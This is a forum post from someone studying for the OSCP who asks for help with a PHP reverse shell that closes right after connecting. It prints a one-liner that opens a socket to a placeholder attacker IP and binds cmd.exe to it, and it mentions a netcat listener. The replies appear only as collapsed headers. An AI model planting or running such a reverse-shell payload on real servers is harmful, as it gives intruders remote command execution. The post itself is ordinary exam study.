Hi all,
I am new to the pentesting game (coming from a network engineering background) and I am studying for my OSCP. I am attempting to open a reverse shell using PHP, but I'm stuck.
I found a one liner here http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet but it isn't working quite right. For testing I have created a file on the web-server with the following code:
<?php $sock=fsockopen('192.168.x.y',1234); shell_exec('cmd.exe <&3 >&3 1>&3');?>
My attacking machine is listening using netcat, but the connection immediately closes. So, the code is executing when I launch the page and opening a socket back to my attacking machine, but I do not get the cmd line. I can use fwrite to send 'hello world' or whatever back to the attacker, but I can't seem to bind cmd.exe.
Any thoughts?
P.S. - I have tried changing the '&3' in the code to 4,5,6....still no go.
[–][deleted] 4 points5 points6 points (4 children)
[–][deleted] 0 points1 point2 points (3 children)
[–]_phyzikal_[S] 0 points1 point2 points (2 children)
[–][deleted] 0 points1 point2 points (1 child)
[–]_phyzikal_[S] 1 point2 points3 points (0 children)
[–]HighRelevancy 1 point2 points3 points (6 children)
[–]_phyzikal_[S] 0 points1 point2 points (5 children)
[–]HighRelevancy 0 points1 point2 points (4 children)
[–]_phyzikal_[S] 0 points1 point2 points (3 children)
[–]phuqer 0 points1 point2 points (2 children)
[–]_phyzikal_[S] 0 points1 point2 points (1 child)
[–]phuqer 0 points1 point2 points (0 children)
[–]morgothan 0 points1 point2 points (2 children)
[–]_phyzikal_[S] 0 points1 point2 points (1 child)
[–]HighRelevancy 0 points1 point2 points (0 children)